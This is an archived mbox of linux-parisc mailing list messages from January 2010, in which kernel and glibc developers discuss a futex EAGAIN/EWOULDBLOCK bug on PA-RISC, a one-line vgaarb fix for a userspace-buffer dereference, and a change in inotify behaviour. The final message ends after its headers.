	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2010 16:44:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753893Ab0AHVoy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 Jan 2010 16:44:54 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:57835 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752458Ab0AHVox convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2010 16:44:53 -0500
Original-Received: by bwz27 with SMTP id 27so12432853bwz.21
        for <linux-parisc@vger.kernel.org>; Fri, 08 Jan 2010 13:44:52 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=aePpxsggKHSQm2gPJLlC4zlbsp2ONUte0NtzK1rbT1E=;
        b=nx1UPMkdKdC5kL9untXLm8bZiBsPlZfTxjUPyPNQ10DJpRrPo9y92RP9OAGhOLV8Pp
         UOeSodHL5UAJ+4n3ezg7pFluVL3sSJtlNPK2eUNNYREGbQxmFDX1hzy6m0vvGKs4UB0g
         HRFW7+OujZbfhtNQyxUMrP/ex5lktKIj7JTWk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=PFjzqjiPN004vlGjJPiVKcbL7l4XGEEc8otZQuJ9sS51z8vzVAdE3ZXbql6E3QgZjJ
         E8XINreuIaILSqx4SowmS0MuP3tznwtpvNYjNmYoiEeWDh9TuNMEdj4E20e6pjTleSZ2
         xk6RTOFgeQmFeESif2wyMSD8LyBaz0vDbSbiE=
Original-Received: by 10.204.163.68 with SMTP id z4mr3366337bkx.86.1262987091994; Fri, 
	08 Jan 2010 13:44:51 -0800 (PST)
In-Reply-To: <119aab441001081344j38000314p1931df34149eabd3@mail.gmail.com>
X-Google-Sender-Auth: 7bdb9ec11d3d72cb
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2569
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2569>

On Fri, Jan 8, 2010 at 4:44 PM, Carlos O'Donell <carlos@systemhalted.or=
g> wrote:
> On Fri, Jan 8, 2010 at 4:18 PM, Helge Deller <deller@gmx.de> wrote:
>>> I now think this probably is a glibc bug. =A0The kernel uses this v=
alue
>>> when the CLONE_PARENT_SETTID flag is passed.
>>
>>
>> Maybe we have a futex problem in glibc on hppa?
>> In glibc nptl/pthread_mutex_trylock.c we check the return value of a=
 futex
>> syscall against EWOULDBLOCK.
>> Since on parisc - in contrast to all other architectures - we have
>> EWOULDBLOCK!=3DEAGAIN, we maybe missed a check?
>
> That's a bug. There are several kernel paths that could return EAGAIN
> *or* EWOULDBLOCK via the FUTEX_TRYLOCK_PI futex operation.
>
> However, I think Dave is on to something with the

=2E..kernel issue.

We might have *several* outstanding bugs :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 8 Jan 2010 16:56:25 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20100108215625.GH19179@bombadil.infradead.org>
References: <20100108163756.48BDE5183@hiauly1.hia.nrc.ca> <4B47A130.8060603@gmx.de> <119aab441001081344j38000314p1931df34149eabd3@mail.gmail.com> <119aab441001081344i7eb3c3f3s9c22eeaecf4d0e1a@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1262987804 16134 80.91.229.12 (8 Jan 2010 21:56:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2010 21:56:44 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 22:56:36 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NTMos-0002CR-RF
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jan 2010 22:56:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753893Ab0AHV4f (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2010 16:56:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753994Ab0AHV4f
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 Jan 2010 16:56:35 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:38156 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753893Ab0AHV4e (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2010 16:56:34 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NTMok-0004xZ-15; Fri, 08 Jan 2010 21:56:26 +0000
Content-Disposition: inline
In-Reply-To: <119aab441001081344i7eb3c3f3s9c22eeaecf4d0e1a@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2570
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2570>

On Fri, Jan 08, 2010 at 04:44:51PM -0500, Carlos O'Donell wrote:
> >
> > However, I think Dave is on to something with the
> 
> ...kernel issue.
> 
> We might have *several* outstanding bugs :-)
> 

Hrm. We discussed this on IRC a while ago, I can't remember what we
decided was the best approach... there's probably many many dragons
here.

I wonder what would break if we set any EAGAIN returns to EWOULDBLOCK in
the exit path.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 8 Jan 2010 17:28:58 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <20100108222858.D6CBA5160@hiauly1.hia.nrc.ca>
References: <20100108215625.GH19179@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262989755 22523 80.91.229.12 (8 Jan 2010 22:29:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2010 22:29:15 +0000 (UTC)
Cc: carlos@systemhalted.org, deller@gmx.de, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 23:29:07 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NTNKL-0006KX-VK
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jan 2010 23:29:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754135Ab0AHW3G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2010 17:29:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754218Ab0AHW3F
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 Jan 2010 17:29:05 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4965 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754135Ab0AHW3C (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2010 17:29:02 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D6CBA5160; Fri,  8 Jan 2010 17:28:58 -0500 (EST)
In-Reply-To: <20100108215625.GH19179@bombadil.infradead.org> from "Kyle McMartin" at Jan 8, 2010 04:56:25 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2571
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2571>

> On Fri, Jan 08, 2010 at 04:44:51PM -0500, Carlos O'Donell wrote:
> > >
> > > However, I think Dave is on to something with the
> > 
> > ...kernel issue.
> > 
> > We might have *several* outstanding bugs :-)
> > 
> 
> Hrm. We discussed this on IRC a while ago, I can't remember what we
> decided was the best approach... there's probably many many dragons
> here.
> 
> I wonder what would break if we set any EAGAIN returns to EWOULDBLOCK in
> the exit path.

That seems reversed.  x86_64 translates the system's EWOULDBLOCK error
into EAGAIN in sysdeps/unix/x86_64/sysdep.S.  However, don't know if this
impacts the futex and sem_wait checks.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 8 Jan 2010 17:31:52 -0500 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <20100108223153.1263B4EF4@hiauly1.hia.nrc.ca>
References: <119aab441001081344i7eb3c3f3s9c22eeaecf4d0e1a@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262989923 23209 80.91.229.12 (8 Jan 2010 22:32:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2010 22:32:03 +0000 (UTC)
Cc: deller@gmx.de, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 23:31:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NTNN4-0007TQ-Ax
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jan 2010 23:31:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752957Ab0AHWby (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2010 17:31:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752959Ab0AHWby
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 Jan 2010 17:31:54 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4969 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752944Ab0AHWby (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2010 17:31:54 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1263B4EF4; Fri,  8 Jan 2010 17:31:52 -0500 (EST)
In-Reply-To: <119aab441001081344i7eb3c3f3s9c22eeaecf4d0e1a@mail.gmail.com> from "Carlos O'Donell" at Jan 8, 2010 04:44:51 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2572
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2572>

> On Fri, Jan 8, 2010 at 4:44 PM, Carlos O'Donell <carlos@systemhalted.org> w=
> rote:
> > On Fri, Jan 8, 2010 at 4:18 PM, Helge Deller <deller@gmx.de> wrote:
> >>> I now think this probably is a glibc bug. =A0The kernel uses this value
> >>> when the CLONE_PARENT_SETTID flag is passed.
> >>
> >>
> >> Maybe we have a futex problem in glibc on hppa?
> >> In glibc nptl/pthread_mutex_trylock.c we check the return value of a fut=
> ex
> >> syscall against EWOULDBLOCK.
> >> Since on parisc - in contrast to all other architectures - we have
> >> EWOULDBLOCK!=3DEAGAIN, we maybe missed a check?
> >
> > That's a bug. There are several kernel paths that could return EAGAIN
> > *or* EWOULDBLOCK via the FUTEX_TRYLOCK_PI futex operation.

Hacking glibc to check for both does not fix the testcase ;(

> > However, I think Dave is on to something with the
> 
> ...kernel issue.
> 
> We might have *several* outstanding bugs :-)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 8 Jan 2010 17:33:36 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20100108223336.GI19179@bombadil.infradead.org>
References: <20100108215625.GH19179@bombadil.infradead.org> <20100108222858.D6CBA5160@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1262990029 23502 80.91.229.12 (8 Jan 2010 22:33:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2010 22:33:49 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, carlos@systemhalted.org,
	deller@gmx.de, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 23:33:41 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NTNOm-00086y-DN
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jan 2010 23:33:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754104Ab0AHWdk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2010 17:33:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754121Ab0AHWdk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 Jan 2010 17:33:40 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:55219 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754104Ab0AHWdk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2010 17:33:40 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NTNOi-0003hw-BU; Fri, 08 Jan 2010 22:33:36 +0000
Content-Disposition: inline
In-Reply-To: <20100108222858.D6CBA5160@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2573
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2573>

On Fri, Jan 08, 2010 at 05:28:58PM -0500, John David Anglin wrote:
> > On Fri, Jan 08, 2010 at 04:44:51PM -0500, Carlos O'Donell wrote:
> > > >
> > > > However, I think Dave is on to something with the
> > > 
> > > ...kernel issue.
> > > 
> > > We might have *several* outstanding bugs :-)
> > > 
> > 
> > Hrm. We discussed this on IRC a while ago, I can't remember what we
> > decided was the best approach... there's probably many many dragons
> > here.
> > 
> > I wonder what would break if we set any EAGAIN returns to EWOULDBLOCK in
> > the exit path.
> 
> That seems reversed.  x86_64 translates the system's EWOULDBLOCK error
> into EAGAIN in sysdeps/unix/x86_64/sysdep.S.  However, don't know if this
> impacts the futex and sem_wait checks.

Yeah, you're right.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] vgaarb: fix typo deference when copying from userspace
Date: Tue, 12 Jan 2010 19:56:37 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <4B4CC5E5.5010200@gmx.de>
References: <1263319113-6631-1-git-send-email-tiago.vignatti@nokia.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1263322631 16260 80.91.229.12 (12 Jan 2010 18:57:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 Jan 2010 18:57:11 +0000 (UTC)
Cc: Dave Airlie <airlied@redhat.com>,
	Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"Paulo R. Zanoni" <przanoni@gmail.com>,
	Henry Zhao <Henry.Zhao@Sun.COM>,
	Andy Getzendanner <james.getzendanner@students.olin.edu>,
	Brad Spengler <spender@grsecurity.net>,
	"dri-devel@lists.sf.net" <dri-devel@lists.sf.net>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Tiago Vignatti <tiago.vignatti@nokia.com>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1754420Ab0ALS4p@vger.kernel.org Tue Jan 12 19:57:02 2010
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1754420Ab0ALS4p@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NUlvH-000060-RK
	for glk-linux-kernel-3@lo.gmane.org; Tue, 12 Jan 2010 19:57:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754420Ab0ALS4p (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 12 Jan 2010 13:56:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754187Ab0ALS4o
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 12 Jan 2010 13:56:44 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:50411 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753028Ab0ALS4n (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 12 Jan 2010 13:56:43 -0500
Original-Received: (qmail invoked by alias); 12 Jan 2010 18:56:41 -0000
Original-Received: from p4FDB23C9.dip0.t-ipconnect.de (EHLO halden.box) [79.219.35.201]
  by mail.gmx.net (mp011) with SMTP; 12 Jan 2010 19:56:41 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19oZDNznDFoaPAkdPpziRR5d4/vvVdhuLOjkoEj5I
	UanIV0rAH5ya4J
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Lightning/1.0pre Thunderbird/3.0
In-Reply-To: <1263319113-6631-1-git-send-email-tiago.vignatti@nokia.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:937300 gmane.linux.ports.parisc:2574
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2574>

On 01/12/2010 06:58 PM, Tiago Vignatti wrote:
> From: Brad Spengler<spender@grsecurity.net>
>
> libpciaccess is not triggering such code though.
>
> Signed-off-by: Tiago Vignatti<tiago.vignatti@nokia.com>

I can confirm, that this patch is needed to prevent a kernel
segfault with 2.6.33-rc3  on the parisc/hppa architecture.

Tested-by: Helge Deller <deller@gmx.de>

> ---
> Andy Getzendanner tried to fix this, but he seems did a wrong approach:
> http://marc.info/?l=linux-kernel&m=126112173704466
>
> Andy: please test (and put your tag review!) this one instead. Thanks.
>
>   drivers/gpu/vga/vgaarb.c |    2 +-
>   1 files changed, 1 insertions(+), 1 deletions(-)
>
> diff --git a/drivers/gpu/vga/vgaarb.c b/drivers/gpu/vga/vgaarb.c
> index 1ac0c93..2f6cf69 100644
> --- a/drivers/gpu/vga/vgaarb.c
> +++ b/drivers/gpu/vga/vgaarb.c
> @@ -961,7 +961,7 @@ static ssize_t vga_arb_write(struct file *file, const char __user * buf,
>   		remaining -= 7;
>   		pr_devel("client 0x%p called 'target'\n", priv);
>   		/* if target is default */
> -		if (!strncmp(buf, "default", 7))
> +		if (!strncmp(curr_pos, "default", 7))
>   			pdev = pci_dev_get(vga_default_device());
>   		else {
>   			if (!vga_pci_str_to_vars(curr_pos, remaining,


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Unexpected behaviour of idr_get_empty_slot() on parisc
Date: Fri, 15 Jan 2010 10:26:25 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <1263572785.2842.28.camel@mulgrave.site>
References: <20091220234610.GG11237@jade.home>
	 <1261354364.25157.246.camel@localhost> <20091221003500.GK11237@jade.home>
	 <1261357334.25157.272.camel@localhost> <1262561005.2238.51.camel@localhost>
	 <20100103235054.GC19179@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1263572801 2847 80.91.229.12 (15 Jan 2010 16:26:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Jan 2010 16:26:41 +0000 (UTC)
Cc: Ben Hutchings <ben@decadent.org.uk>, linux-parisc@vger.kernel.org,
	Ryan Niebur <ryan@debian.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 15 17:26:33 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NVp0K-00079H-O5
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Jan 2010 17:26:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751702Ab0AOQ0d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Jan 2010 11:26:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754129Ab0AOQ0d
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 15 Jan 2010 11:26:33 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42682 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751702Ab0AOQ0c (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Jan 2010 11:26:32 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 10DB38EE0FD;
	Fri, 15 Jan 2010 08:26:32 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id sKLIXZHpU53Y; Fri, 15 Jan 2010 08:26:31 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 180F78EE0FA;
	Fri, 15 Jan 2010 08:26:29 -0800 (PST)
In-Reply-To: <20100103235054.GC19179@bombadil.infradead.org>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2575
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2575>

On Sun, 2010-01-03 at 18:50 -0500, Kyle McMartin wrote:
> On Sun, Jan 03, 2010 at 11:23:25PM +0000, Ben Hutchings wrote:
> > Ryan Niebur reported in <http://bugs.debian.org/561880> that on a
> > PA-RISC system running Linux 2.6.32 the following test case for inotify:
> > 
> 
> I bet this is because classic RCU is removed, and tree RCU was
> insufficiently tested on crap platforms before the removal.
> 
> I'll try to re-add it and we can see if it's an RCU problem or something
> nastier.

Apparently it's a feature of kernels beyond 2.6.30 (this exact
behaviour).  Suspect the bug report is incomplete and the i386 machine
was running 2.6.29 or lower.

Red Hat has been getting complaints about it so they're looking to
revert to the old 2.6.29 behaviour as well.  The actual commit that
caused the behaviour change is

commit 63c882a05416e18de6fb59f7dd6da48f3bbe8273
Author: Eric Paris <eparis@redhat.com>
Date:   Thu May 21 17:02:01 2009 -0400

    inotify: reimplement inotify using fsnotify

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Sun, 17 Jan 2010 00:17:38 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <4B524912.4070204@gmx.de>
References: <20100108163756.48BDE5183@hiauly1.hia.nrc.ca>	 <4B47A130.8060603@gmx.de> <119aab441001081344j38000314p1931df34149eabd3@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1263683871 7006 80.91.229.12 (16 Jan 2010 23:17:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 Jan 2010 23:17:51 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
